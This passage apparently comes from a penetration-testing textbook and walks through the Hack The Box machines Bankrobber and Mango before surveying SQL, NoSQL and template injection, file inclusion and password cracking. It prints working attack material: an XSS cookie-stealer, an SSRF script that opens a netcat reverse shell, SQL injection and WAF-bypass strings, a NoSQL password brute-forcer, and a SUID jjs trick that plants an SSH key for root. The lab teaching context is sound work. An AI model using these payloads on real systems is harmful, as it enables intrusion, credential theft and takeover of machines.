<img src=x onerror=this.src="http://10.10.14.135/?c="+document.cookie />

This returns the base64 for both username and password to be "admin" and
"Hopelessromantic":

1 10.129.70.254 - - <SNIP> "GET /?c=username=YWRtaW4%3D;


2 %20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1 HTTP/1.1" 200 -

After doing the SQL Injection to read source code (see later in the SQL injection section),
you discover a php file called backdoorchecker.php that will execute a "dir" command
supplied as POST parameter. However, the check only tests if the first three characters are
equal to "dir". By adding a "|" after "dir" you can add any other Windows command. The file
backdoorchecker.php also checks that the request came from the same machine checking
that the "REMOTE_ADDR" is equal to "::1" the IPv6 localhost address.

To exploit backdoorchecker.php, you can use the XSS to do an SSRF attack. To validate
that this will work, you will write a JavaScript file hosted from our machine and test a "ping"
command. Writing a script attack.js as follows:

1 var xhr = new XMLHttpRequest();


2 var url = "http://localhost/admin/backdoorchecker.php";
3 var params = "cmd=dir | ping -n 5 10.10.14.29";
4 xhr.open("POST", url);
5 xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
6 xhr.withCredentials=true;
7 xhr.send(params);

To check that the ping is being sent, you can start tcpdump to collect the ping packets
which are of the type ICMP:

1 ┌─[rin@parrot]─[~/boxes/Bankrobber]
2 └──╼ $sudo tcpdump -i tun0 icmp
3 tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
4 listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
hide01.ir
To initiate the XSS you can use the script tag instead of the img tag. This will fetch and
execute the script attack.js:

<script src="http://10.10.14.135/attack.js"></script>

Once the script is fetched from the server, you should see tcpdump reporting the pings
being sent to our box:

1 12:26:08.465546 IP bankrobber.htb > 10.10.14.135: ICMP echo request,


2 id 1, seq 1, length 40
3 12:26:08.465571 IP 10.10.14.135 > bankrobber.htb: ICMP echo reply,
4 id 1, seq 1, length 40
5 12:26:08.465586 IP bankrobber.htb > 10.10.14.135: ICMP echo request,
6 id 1, seq 2, length 40
7 12:26:08.465592 IP 10.10.14.135 > bankrobber.htb: ICMP echo reply,
8 id 1, seq 2, length 40
9 <SNIP>

We haven't dealt with exploitation and how to get access to an interactive session on a
remote box, however we will quickly get a "reverse shell" on the Bankrobber box using
Netcat. Netcat for windows can be downloaded from
https://eternallybored.org/misc/netcat/. Take a copy of the nc64.exe and rename as nc.exe
in your working directory.

As you are targeting a Windows box, you can provide access to netcat via SMB using a tool
smbserver.py which is part of the Impacket tools.

To install Impacket in the /opt directory, you can use:

git clone https://github.com/SecureAuthCorp/impacket.git


hide01.ir
You can then run smbserver.py directly from /opt/impacket/examples/smbserver.py

(https://github.com/SecureAuthCorp/impacket\). To share a directory using smbserver you


use the syntax:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Bankrobber]
2 └──╼ $sudo /opt/impacket/examples/smbserver.py share $(pwd) -smb2support

We can then modify attack.js to the following:

1 var xhr = new XMLHttpRequest();


2 var url = "http://localhost/admin/backdoorchecker.php";
3 var params = "cmd=dir | \\\\10.10.14.135\\share\\nc.exe 10.10.14.135" +
4 "6001 -e cmd.exe";
5 xhr.open("POST", url);
6 xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
7 xhr.withCredentials=true;
8 xhr.send(params);

We would start the webserver to serve the JavaScript file and netcat listener to receive the
incoming connection for the reverse shell:

1 ┌─[oztechmuse@parrot]─[~/boxes/Bankrobber]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.135] from (UNKNOWN) [10.129.103.158] 49736
5 Microsoft Windows [Version 10.0.14393]
6 (c) 2016 Microsoft Corporation. Alle rechten voorbehouden.
7 C:\xampp\htdocs\admin>whoami
8 whoami
9 bankrobber\cortin

This is not the end of the box, we have a reverse shell as the user cortin but the next part is
privilege escalation which involves a buffer overflow, something we will deal with in
Chapter 6.
hide01.ir
SQL Injection
As mentioned before, web pages running in a browser can interact with a server application
on a remote machine by sending instructions and data from the browser using parameters
passed in the URL (called the query string), HTML forms, or by using JavaScript. The server,
receiving instructions and data, will usually use this to complete some functionality, using
information stored in a database. An example might be a login screen which takes a
username and password in a form and submits them to the server for validation against
user information in a database.

An injection vulnerability occurs when an attacker can manipulate the instructions or data
collected by a browser before it is sent to the server application. This manipulation consists
of injecting commands into the data that get executed and then exploits a number of
different areas of functionality provided by the web application, revealing information from
the operating system such as viewing and updating files or directly interacting with the
database.

Of the main types of injection vulnerabilities in websites, SQL injection (SQLi) has been the
most prevalent, but other types of injection vulnerabilities can occur, including; NoSQL,
Object Relational Mapping (ORM), Expression Language (EL), Object Graph Navigation
Library (OGNL) and Template injection.

SQL Injection

SQL injections occur when a parameter provided from a user as part of a submitted form or
action is added, unprocessed, to a query:

"select * from users where username = '" + request.getParameter("username")

A field expecting a username parameter can be altered by customizing the input


hide01.ir
john' or '1'='1' --

This results in a SQL query

"select * from users where username = 'john' or '1'='1' -- "

The query will return all users because the query will always be true. The “--“ characters at
the end are comment characters in MySQL SQL and will terminate any further evaluation of
the query. How the SQL injection manifests in terms of functional behavior of the
application depends on what the input was supposed to do. If it was a username field for a
login, the effect will likely be that any username given will be accepted as existing. If the
password field is also injectable, then the login process can be bypassed.

This type of SQL injection is known as a “blind injection” because the output of the SQL
query is not immediately apparent in a response. In the case of input fields that control the
output of information on a page, a search box for example, the entire contents of a
database and other databases can be exposed.

Generally when testing for a SQL injection vulnerability, we try and alter the input data to
get a change in the returned HTML. Sometimes this might be simply looking at the length
of the returned data or having the application return an error because the format is incorrect
SQL code.

After working out whether an input is SQL injectable, the next challenge is to craft a SQL
statement to return data from any table or database of our choosing. One way of doing this
is to use a “Union Select” injection. A union command in SQL allows you to combine the
results of two separate select statements. By using a union, we can add our own entirely
separate select statement to the existing query and have the results of that query be
returned alongside the results of the original query. In order for a union select to work, the
number and usually, the type, of columns returned by both queries need to match. The first
thing we need to do is to work out how many columns were being returned by the original
query. We can do this by using a "order by" keyword. The order by keyword tells the query
hide01.ir
which column to sort the returned results on. So the the following query of data from a
users table will order the returned results by the 2nd column, i.e. the email address:

select username, email, phone_number from users order by 2;

If you specify a number that is greater than the number of columns, the query will fail. To
find the number of columns returned by the query, we just need to increase the number until
the query fails. Once you have the number of columns returned, you can now create queries
where the results are returned in one or more columns, depending on how many, and the
types, of the original query's columns. Taking the query we have just detailed and adding a
union select to it, we could return the version of a MySQL database by using the injected
code:

john' union select @@version,'[email protected]','12345678'

Of course, we would have to terminate the injected SQL appropriately. There are other types
of approaches to injection other than union injection and these include time based and
error based injections. Error based injections can be used when error information is
viewable. The error will contain information about whatever is causing the error and we can
use that to return values by deliberately forcing errors to occur. In time based injection, we
don't get actual results but we can infer if a query is true or false by the amount of time the
query takes to execute.

Fortunately, SQL injection can be done relatively easily without worrying about the details
of types of attack, SQL syntax and database idiosyncrasies by using a tool called Sqlmap
that can determine the type of database being used and then what injected queries the
vulnerability will be susceptible to. With this established, Sqlmap can dump the entire
contents of a database or selected tables.
hide01.ir
Exercise: Using SQL injection on the
Bankrobber box
In order to try out SQL injection, we will go back to the Hack The Box machine, Bankrobber.
The XSS exploitation will gae us credentials for the admin user and with those, we can
access the administration functionality of the site where you discover a user's search
function that is SQL injectable.

Search functionality available after logging in as admin on Bankrobber

You know that it is SQL injectable through the following process: Simple numbers like 1
and 2 in the search query return users with those numbers as ids. Putting a single quote
after the number results in an error that is returned saying that “There is a problem with
your SQL syntax”. Adding the MySQL comment text 1'-- - into the search field then returns
the user again.

Catching the entire search request in Burp (turn on the Burp proxy option in FoxyProxy and
click search to intercept the request in the Proxy tab, then send the request to the Repeater
tab in Burp using CTL-R) allows us to play with the SQL and determine that it is “union
hide01.ir
select” injectable. To determine the number of columns that the original query is returning,
we can use the following injection and sending it via Burp repeater:

term=1'+order+by+1--+-

This returns one user from the request. Incrementing the order by clause to 4 returns an
error “There is a problem with your SQL syntax” telling us that the number of columns in the
original query was 3. This means you can now carry out a union select with the query
string:

term=1'+union+select+'Field1','Field2',3--+-

This returns the output

1 HTTP/1.1 200 OK
2 Date: Thu, 01 Oct 2020 04:53:15 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
4 X-Powered-By: PHP/7.3.4
5 Content-Length: 180
6 Connection: close
7 Content-Type: text/html; charset=UTF-8
8 <table width='90%'><tr><th>ID</th><th>User</th></tr>
9 <tr>
10 <td>1</td>
11 <td>admin</td>
12 </tr>
13 <tr>
14 <td>Field1</td>
15 <td>Field2</td>
16 </tr>
17 </table>

Knowing that this is a union select injectable field and that the database is MySQL, you can
dump the default database using the sqlmap command:
hide01.ir
sqlmap -r search.req --batch --dbms MySQL --technique U -p term --dump

Without the parameters –dbms, --technique and -p sqlmap will determine these itself, but it
is faster to provide them if you already know the answer.

sqlmap can carry out blind attacks by using timing techniques. These work by introducing
a delay in the response if the answer to a query is true. An example of this given by OWASP
for MySQL uses the BENCHMARK(50000000,ENCODE('MSG', 'by 5 seconds')) statement to
introduce an approximately 5 second pause. So the SQL statement

1 1' UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),


2 BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null)
3 FROM users WHERE user_id = 1

Will test if the first character in the password is ‘2’ (assuming the password is in clear text).

Whilst sqlmap can save time in obtaining information from SQL injection, it is always
useful to know how to get the information manually. For example, in Bankrobber, you can
list the databases in MariaDB with the command:

1 term=1'+union+select+'Field1',(SELECT group_concat(schema_name)
2 FROM information_schema.schemata),3--+-

The response will include the databases

bankrobber,information_schema,mysql,performance_schema,phpmyadmin,test

The site, PayloadsAllTheThings has a SQL Injection Cheat Sheet that lists other commands
for exploring databases.

We can list the tables in the database bankrobber with the following query:

1 term=1' union select 1,table_name,3 from INFORMATION_SCHEMA.TABLES


2
hide01.ir
where table_schema=database()-- -

This returns the tables: admin, balance, hold and users. We can list the columns in the
users table using the command:

1 term=1' union select 1,group_concat(0x7c,column_name,0x7c),3


2 from INFORMATION_SCHEMA.COLUMNS where table_name='users'-- -

This returns the column names:

|id|,|username|,|password|,|USER|,|CURRENT_CONNECTIONS|,|TOTAL_CONNECTIONS|

Finally, we could list the usernames and passwords for the users:

term=1' union select 1,group_concat(username,0x3a,password),3 from users-- -

Which returns:

admin:Hopelessromantic,gio:gio

Nothing particularly useful. One function that you can use in SQL is the LOAD_FILE
function which will allow us to include a local file into the response. We can try it with a well
known Windows file c:\Windows\win.ini

term=1' union select 1,LOAD_FILE('c:\\Windows\\win.ini'),3-- -

And sure enough, this returns the contents of the file:

1 ; for 16-bit app support


2 [fonts]
3 [extensions]
hide01.ir
4 [mci extensions]
5 [files]
6 [Mail]
7 MAPI=1

If we enumerate the web directories with Gobuster we find for the root directory:

1 ┌─[rin@parrot]─[~/boxes/Bankrobber]
2 └──╼ $gobuster dir -t 50 -w /usr/share/wordlists/dirbuster/\
3 directory-list-2.3-medium.txt -x php,txt -u http://bankrobber.htb
4 <SNIP>
5 /index.php (Status: 302)
6 /img (Status: 301)
7 /login.php (Status: 302)
8 /register.php (Status: 200)
9 /user (Status: 301)
10 /admin (Status: 301)
11 /link.php (Status: 200)
12 /css (Status: 301)
13 /Index.php (Status: 302)
14 /Login.php (Status: 302)
15 /js (Status: 301)
16 /notes.txt (Status: 200)
17 /logout.php (Status: 302)
18 /licenses (Status: 403)

The file of particular interest is notes.txt which when we look at says:

1 - Move all files from the default Xampp folder: TODO


2 - Encode comments for every IP address except localhost: Done
3 - Take a break..

The key bit of information is that the Xampp folder is in the default location. XAMPP is a
product that packages up Apache, MariaDB, PHP and Perl to run web applications.
MariaDB is compatible with MySQL and so is largely indistinguishable for our purposes.
hide01.ir
Going back to the home page, there was another function called a We also know that the
function called a Backdoorchecker that said it would allow the dir command but when you
try it, you get an error message:

It's only allowed to access this function from localhost (::1).

This is due to the recent hack attempts on our server.

It would be worth looking at the code for this file which we can do using SQL injection

1 term=1' union select 1,LOAD_FILE('c:\\xampp\\htdocs\\admin\\backdoorchecke


2 3-- -

This returns the code for backdoorchecker.php

1 <?php
2 include('../link.php');
3 include('auth.php');
4 $username = base64_decode(urldecode($_COOKIE['username']));
5 $password = base64_decode(urldecode($_COOKIE['password']));
6 $bad = array('$(','&');
7 $good = "ls";
8 if(strtolower(substr(PHP_OS,0,3)) == "win"){
9 $good = "dir";
10 }
11 if($username == "admin" && $password == "Hopelessromantic"){
12 if(isset($_POST['cmd'])){
13 // FILTER ESCAPE CHARS
14 foreach($bad as $char){
15 if(strpos($_POST['cmd'],$char) !== false){
16 die("You're not allowed to do that.");
17 }
18 }
19 // CHECK IF THE FIRST 2 CHARS ARE LS
20 if(substr($_POST['cmd'], 0,strlen($good)) != $good){
21 die("It's only allowed to use the $good command");
22 }
23 if($_SERVER['REMOTE_ADDR'] == "::1"){
24 system($_POST['cmd']);
25 } else{
26 echo "It's only allowed to access this function from localhost (::1).<b
27 This is due to the recent hack attempts on our server.";
28 }
hide01.ir
29 }
30 } else{
31 echo "You are not allowed to use this function!";
32 }
33 ?>

The key things about this code are that it checks that cookie has username with a value of
"admin" and password with a value of "Hopelessromantic" (11). It then checks that the
command does not include '&' which would allow us to run a second command after the
'dir' command v. It checks that the command starts with 'dir' so that we can't substitute
other commands instead w. It checks if the request came from the local machine x. Finally,
it executes the command y. The flaw here is is that although it is checking for bad
characters that could manipulate the command and run other arbitrary commands, it still
allows us to use the '|' character which works in the same way as the '&' after a command.

We can now run a command but we still need to do this using server-side request forgery
using the XSS vulnerability as we did earlier in the chapter.
hide01.ir
Web Application Firewalls and SQL Injection
A few of the principal mitigations against SQL injection are to code applications in such a
way as to not allow dynamic queries, to use parameterized calls to databases and to use
Object Relational Mapping tools. A more general defence that works across any application
is to use a web application firewall (WAF) that monitors http traffic to an application and
specifically looks for requests that may be exploiting vulnerabilities such as SQL injection
and XSS. An Open Source WAF is ModSecurity[3] which can work with a variety of rule sets
including the OWASP ModSecurity Core Rule Set which attempts to protect against a range
of injection attacks, XSS, data leakages and other things. The rule sets detect probing of
the type you outlined above and the presence of SQL commands.

WAFs can sometimes be bypassed using a variety of techniques. In part the bypass will
depend on whether the WAF simply removes offending keywords and allows the request to
proceed or whether it blocks the request entirely. One technique involves inserting comment
characters into the select statement. For example:

?id=1'+un/**/ion+sel/**/ect+1,2,3--

The comments are ignored creating a statement

?id=1'+union+select+1,2,3--

In the case of keyword removal, this would work:

?id=1+UNunionION+SEselectLECT+1,2,3--

Another technique involves changing the case of the key words or replacing characters with
their url encoded characters
hide01.ir
char(37,%20112,%2097,%20115,%20115,%2037) = %pass%

A more destructive type of bypass involves trying to crash the firewall or doing a buffer
overflow on the input.
hide01.ir
NoSQL Injection
NoSQL servers like MongoDB offer a different approach to data storage from relational
databases using SQL. Data is stored as collections of unstructured documents in JSON
format. When sending a query for NoSQL, you pass a JSON array. To check the username
and password of a user, you might pass the following array:

1 {
2 "username":"johndoe",
3 "password":"letmein"
4 }

NoSQL also allows query operators such as

1 $ne – not equal


2 $gt – greater than
3 $regex – regular expression
4 $where – a script to filter results

In the case of a NoSQL query object being passed to an application that is checking a
username and password, the following query object would avoid the password check

1 {
2 "username":{"$ne":""},
3 "password":{"$ne": ""}
4 }

The value {"$ne":""} would equate to true and so cause the entire expression to evaluate to
true.

The $regex expression can be used to find out how long a username or password is by
using the expression
hide01.ir
1 {
2 "username":{"$regex":"^.{5}$"},
3 "password":{"$ne": ""}
4 }

If the expression evaluates to true, you know that there is at least one username of length 5.
hide01.ir
Exercise: Writing a NoSQL injection
password fuzzer for the Mango box
In the Hack The Box machine Mango, an nmap scan reveals an Ubuntu box running SSH on
port 22 u, a website on port 80 v and a website on port 443 w. The website on port 80 is
returning a status code of 403 forbidden for the default home page. For the website on port
443, the SSL certificate reports a common name for the site of staging-order.mango.htb.

PORT STATE SERVICE VERSION

1 u 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol
2 | ssh-hostkey:
3 | 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
4 | 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
5 |_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
6 v 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
7 | http-methods:
8 |_ Supported Methods: GET POST OPTIONS HEAD
9 |_http-server-header: Apache/2.4.29 (Ubuntu)
10 |_http-title: 403 Forbidden
11 w 443/tcp open ssl/ssl Apache httpd (SSL-only mode)
12 | http-methods:
13 |_ Supported Methods: GET HEAD POST OPTIONS
14 |_http-server-header: Apache/2.4.29 (Ubuntu)
15 |_http-title: Mango | Search Base
16 | x ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName
17 Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
18 | Issuer: commonName=staging-order.mango.htb/organizationName=
19 Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
20 | Public Key type: rsa
21 | Public Key bits: 2048
22 | Signature Algorithm: sha256WithRSAEncryption
23 | Not valid before: 2019-09-27T14:21:19
24 | Not valid after: 2020-09-26T14:21:19
25 | MD5: b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6
26 |_SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95
27 |_ssl-date: TLS randomness does not represent time
28 | tls-alpn:
29 |_ http/1.1
30 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
hide01.ir
Accessing the website on port 443 using https, we get a warning about the SSL certificate
which we can view and confirm nmap's findings that the Common Name of the site is
staging-order.mango.htb

SSL certificate for Mango website on port 443

Accepting the risk and continuing takes us to a web page with a search box that is
reminiscent of the Google search page.
hide01.ir

Home page for https://10.129.1.219/

The search box is not functional as the buttons are hyperlinks to the same page. Clicking
on the link for Analytics takes us to a page which shows a spreadsheet with figures broken
down by US states.

Analytics page on Mango

After enumerating this page, there is nothing that appears obviously exploitable. If we use
the URL http://staging-order.mango.htb so that it accesses the site via port 80 however, we
hide01.ir
get a login page for a different virtual site.

Home page for virtual host site on port 80 http://staging-order.mango.htb

Putting in a username and password and clicking Login takes us back to the same page.
We can send the request to Burp by intercepting the request after setting FoxyProxy to use
Burp as the proxy. Once we have the request, we can forward to the Repeater tab. Sending
the same request with a username of john and password of password results in a status of
200 (OK) and the same page. We can check if the login in vulnerable to SQL injection by
adding a single quote after the username and the password, but it doesn't appear that it is.

The fact that the site provides search functionality and it is called Mango, which is very
close to Mongo, as in Mongo DB suggests that is the technology it is using, so we can try
doing NoSQL injection.

In Burp, we can alter the request to use the injection:

username[$ne]=john&password[$ne]=john&login=login
hide01.ir
The format reflects the fact that it is PHP interpreting the parameters and the parentheses
after the variable tells PHP to interpret the variable username as an object which can act on
the $ne regular expression.

Further enumeration of the site once logged on through this bypass doesn't reveal anything.
However, we can use the injection to brute force usernames and passwords and to do this,
we can write a Python program.

The code for this is as follows[4]:

1 import requests
2 from cmd import Cmd
3
4 def inject(data):
5 v r = requests.post("http://staging-order.mango.htb/",
6 data=data, allow_redirects=False)
7 if r.status_code != 200:
8 return True
9
10 def brute_user(user=""):
11 secret = user
12 payload = ""
13 while True:
14 data = {"username[$regex]":"^" + payload + "$",
15 "password[$ne]":"rin", "login":"login"}
16 if inject(data):
17 print("")
18 break
19
20 # cycle through lowercase characters a-z
21 for i in range(97,123):
22 payload = secret + chr(i)
23 print("\r" + payload, flush=False, end='')
24 data = {"username[$regex]":"^" + payload, "password[$ne]":"rin",
25 "login":"login"}
26
27 if inject(data):
28 print("\r" + payload, flush=True, end='')
29 secret = secret + chr(i)
30 break
31 def brute_password(user=""):
32 secret = ""
33 payload = ""
34 while True:
35 data = {"username": user, "password[$regex]": "^" + payload + "$",
36 "login":"login"}
37
hide01.ir
38 if inject(data):
39 print("")
40 break
41
42 # cycle through characters ! to ~
43 for i in range(32,127):
44 if (chr(i) in ['.','?','*','^','+','|','$']):
45 backspace = " "
46 payload = secret + "\\" + chr(i)
47 else:
48 backspace = " "
49 payload = secret + chr(i)
50 print("\r" + payload + backspace, flush=False, end='')
51 data = {"username": user, "password[$regex]": "^" + payload,
52 "login":"login"}
53
54 if inject(data):
55 print("\r" + payload + backspace, flush=True, end='')
56 secret = secret + chr(i)
57 break
58
59 class Terminal(Cmd):
60 intro = 'Bruteforcer for http://staging-order.mango.htb/'\
61 ' Type help or ? to list commands.\n'
62
63 def do_getuser(self, args):
64 "Brute force username with optional starting string"
65 brute_user(args)
66
67 def do_getpassword(self, args):
68 "Brute force password for specified username"
69 brute_password(args)
70
71 term = Terminal()
72 term.cmdloop()

To start with, the script imports u the Python module requests which we will use for
handling the HTTP requests and responses and the module Cmd that will handle accepting
command input at the terminal and executing commands in user friendly way. When run,
the program will access the commands getuser <user> and getpassword <user>. These
commands are defined as do_getuser and do_getpassword ~ as part of the Terminal class.
do_getuser calls the function brute_user w which sets up a payload that uses the x the
expression username[$regex]":"^". This will try and match any text that starts with the
username we are passing in. So if the username was administrator, the expression would
hide01.ir
match text of "admin". In this way we can keep looping building up our test username one
letter at a time and when we get a match, move on to the next. The injection is called y with
whatever string we have passed into the function and then it loops z successively adding
characters from ASCII 97 to ASCII 123, characters a through z. As this is a username we are
testing, we can assume lower case alphabetic characters. For the password, we will widen
the range to include non-alphabetic characters like numbers and special characters. Some
characters need escaping because they have a special meaning in regex terms and this is
done here }.

The function brute_password { is similar, but operating on the password field and not
username |.

The program starts with creating a Terminal object and calling the command loop that
waits for input. If a string is passed to getuser, it will be used as the seed for the brute
forcing of that user. A password will be fetched by getpassword for the user supplied as an
argument. In this way, multiple users can be brute forced.

Running the application for users we get two, admin and mango. Running each of these
reveals the passwords (admin:t9KcS3>!0B#2 and mango:h3mXK8RhU~f{]f5H) and the user
mango can SSH into the machine. Once on the box, we can see that in the /home directory
there is the home directory of the other user admin. We can switch user using the su
command and use the password we retrieved earlier for the user admin:

1 mango@mango:~$ su - admin
2 Password:
3 $ whoami
4 admin

As the admin user, we can run linpeas, but let us just look for any files that have the SUID
bit set using the following

1 $ find / -perm -4000 2>/dev/null


2 /bin/fusermount
3 /bin/mount
4 <SNIP>
5 /usr/bin/passwd
6 /usr/bin/newgidmap
hide01.ir
7 /usr/bin/run-mailcap
8 <SNIP>
9 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
10 /usr/lib/openssh/ssh-keysign
11 /usr/lib/snapd/snap-confine

The interesting program here is jjs which will allows JavaScript to be run at the command
line. Looking at GTFOBins, the jjs program can be used if it has SUID to write files and so
we can use it to write an SSH key to root's .ssh directory. Generate an SSH key using ssh-
keygen and then enter the contents of the key.pub file you generated into the script which
you can copy and then paste into the terminal as the user admin :

1 echo 'var FileWriter = Java.type("java.io.FileWriter");


2 var fw=new FileWriter("/root/.ssh/authorized_keys");
3 fw.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVlOa8ynMntHui31M7\
4 v3M4xhz3wVh9+WwDbQTOlui8a/UxWEFgbGg6Tuazr+4JJ/FPUCg9ajE3z2M4Zvfp/0L\
5 7l2PmaJd0mhs6t4gA4NatuBoSN3Gx3qNDG/dW4hRrAP3umbMdCtcXJewqFtLZmvzPbsV\
6 nqgVyjLIeerFo0NYEricSlS7X8I3NGSqOcy+jTvGyppnYet0sdtui4eKVAawuGpg0Q8tC\
7 SVl4nD6DuVLjgRFGZt8qRBOa9tFgqGF65z/tZmM+3lbr84Labe/181j7+abZb1GrkSUVmD\
8 g+T9JPTPKAAO6MpREFbsg6oSBlD3Fv5wWvuePjvTM+MudJb84iJ9emJs2k33UMjgWY+izxk\
9 zwRqs0jxme4VjWxI4PwGClW1+lop4ehgoAkW5YCWskD4wzsGzp37vsnMrMihkm8fT4\
10 BH95O8TXm6UrCPLr7AY9l207OMZ4hxLw9A97snzaXESEZy/d+tVi4f5YMoJW22YmdT\
11 fPsbhphl6axtxNKyi8=");
12 fw.close();' | jjs

We can now use the SSH key to get onto the box as root:

1 ┌─[rin@parrot]─[~/boxes/Mango]
2 └──╼ $ssh -i key [email protected]
3 Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)
4 <SNIP>
5 Last login: Thu Sep 24 09:49:52 2020
6 root@mango:~#
hide01.ir
Template Injection
Web application frameworks often use a templating engine which allows them to easily
create web pages of html from a combination of html and data. A template file
(sample.html.twig) using the PHP template system Twig might look like

1 <p>
2 is a
3 </p>
4 The PHP code to render this as an html page would then be:
5 echo $twig->render('sample.html.twig', ['name' => 'John Doe',
6 'occupation' => 'Penetration Tester']);
7 A vulnerability would occur with code that works as follows:
8 echo $twig->render('sample.html.twig', ['name' => $_GET[‘name’],
9 'occupation' => $_GET[‘occupation’]]);

An attacker can detect the injection by passing the string “” as the name argument and
seeing 49 displayed in the rendered page. For the Python template engine Jinja2, the string
‘” produces a different result of “7777777” which enables us to differentiate the underlying
code environment.
hide01.ir
File Inclusion, Broken Authentication,
Cracking Hashes
File Inclusion

File inclusion vulnerabilities are a related set of vulnerabilities to injection in that an


attacker manipulated inputs to allow for the disclosure of unintended information. They are
caused when web application code uses a variable to select the name of a file to include
into another code file. In php, the “include” statement allows code such as:

1 <?php
2 if (isset($_GET['category'])) {
3 include($_GET['category']);
4 }
5 ?>

This code is then vulnerable to both local and remote file inclusion. If this code was hosted
as a page lfi.php on a Linux system for example, the code could be exploited with URLs
such as:

https://www.vulnerablesite.com/lfi.php?category=../../../../../etc/passwd
hide01.ir
Broken Authentication
Broken authentication covers any vulnerability that is related to password authentication
that is not secure. This might result from a number of causes:

The password used is the default for an application


The password is easily guessable, or is weak and can be brute forced
Passwords are reused across multiple applications
Unlimited login attempts are allowed
Credentials are transmitted or stored in the clear

The continuing breaches of millions of users’ accounts have given rise to dumps of
usernames and cracked passwords that can be used in “Credential Stuffing” attacks. In
these attacks, the credentials from a dump are tried on other sites on the assumption that
many users use the same email address and password across multiple services. Another
type of attack relies on many users using simple and common passwords. In this attack,
called “Password Spraying”, the same password is tried against multiple user accounts.

Default usernames and passwords for applications is becoming less common but is still a
major issue with Internet of Things devices. In the past, the initial default administrator
account would have a default username and password. Applications now are requiring this
password to be changed on installation or first use and so this is less common now.

From an ethical hacking perspective, it is always worth trying default usernames and
passwords when encountering a login page. When collecting usernames and possible
passwords, it is also a good idea to test these username password combinations with
different services. Many tools that allow enumeration of services will take a file of
usernames and passwords and automated the login process with these candidate
credentials.
hide01.ir
Cracking Hashes
Passwords are normally not stored in clear text but as a cryptographic hash that is
obtained usually by combining the password with a random “salt” value and then hashing
with a hash function, sometimes multiple times. Applications use different algorithms for
hashing passwords, the relative strength of these has gotten stronger over time. An
example of a password hashing process is Microsoft’s LAN Manager (LM) protocol that
used an encryption algorithm known as DES (Data Encryption Standard). The process went
as follows:

1. The password is first converted to upper case


2. It is then padded with NULL characters to make sure it was 14 characters long.
3. The password is then split into two 7-character halves.
4. Each 7-character half is used to encrypt the string “KGS!@#$%” using DES
5. The resulting encrypted bytes are then concatenated to create a 16-byte LM hash.

This algorithm makes cracking these types of hashes relatively easy. The hashes can be
first compared against large tables, called “Rainbow Tables” of pre-calculated hashes of
common passwords and dictionary words. This won’t work if the password was hashed
with a salt. The alternative is to use a dictionary of common passwords and a tool like
John The Ripper or hashcat. It is important to know that cracking hashes requires a great
deal of computational resources and so doing it on a VM is always going to be slow. For
Hack The Box challenges, this isn’t usually a problem because any password that is meant
to be crackable will crack within 10 minutes or so. In the real world of course, things aren’t
that simple and so having a dedicated machine for password cracking that has access to
high powered CPUs or GPUs (Graphical Processing Units) is essential.

John has a number of utility programs that will convert password files from applications
into a suitable “John” format for cracking. As an example, john can extract the password
hash from a zip file that has been password protected using the application zip2john. Key
files for ssh that are password protected can be converted to a john hash using ssh2john
(in the “jumbo” version of John The Ripper[5]).

If a hash is obtained, John the Ripper will try and identify it but it is worth determining the
hash type explicitly. There are hash identifying services online that can be used to help with
this.
hide01.ir
As with the choice of word lists for other fuzzing tasks, choosing a word list for cracking
passwords is also an art. The default is to use the password list rockyou.txt which contains
14,341,564 passwords that came from a breach of a company called RockYou in 2009. It is
also possible to craft subsets of rockyou.txt if information is available about the password
type and length. This can make a big difference in looking for variants. Finally, it is also
possible to brute force the password by going through all of the permutations of characters
and numbers. However, for any password longer than a few characters this becomes
infeasible unless you have acces to a supercomputer (or botnet). On a modern 8 core
computer for example, an 8 character lowercase password would take around 2 days if the
password was hashed with SHA512. Of course, passwords that combine, numbers, upper
and lower case letters and special characters would take years.

Another tool that can be used for cracking passwords, especially on computers with GPUs
is hashcat. It can be used in CPU only mode, but it has then little advantage over John The
Ripper.

Hack The Box has numerous examples of cracking hashes that can be done with John The
Ripper or hashcat and we will highlight the use of these tools in future exercises.
hide01.ir
Sensitive Data Exposure
A security misconfiguration vulnerability, sensitive data exposure occurs when data is
exposed unintentionally in a non-encrypted or other insecure state. OWASP details
scenarios that include storing passwords as clear text or as unsalted or simple hashes. In
another example, the site does not use, or does not enforce the use of TLS. In another
scenario, credit card or personally identifiable information is stored in clear text or in an
encrypted form that is automatically decrypted when retrieved making retrieval in the clear
relatively easy to achieve.

From an attacker’s perspective, these vulnerabilities are part of the gathering “loot” process.
It is one thing to find a vulnerability that gives you unintended access to a machine but the
ultimate goal is to obtain information of value. Gaining access to a HoneyPot for example,
a machine that is deliberately constructed to lure attackers to break in, does not pose much
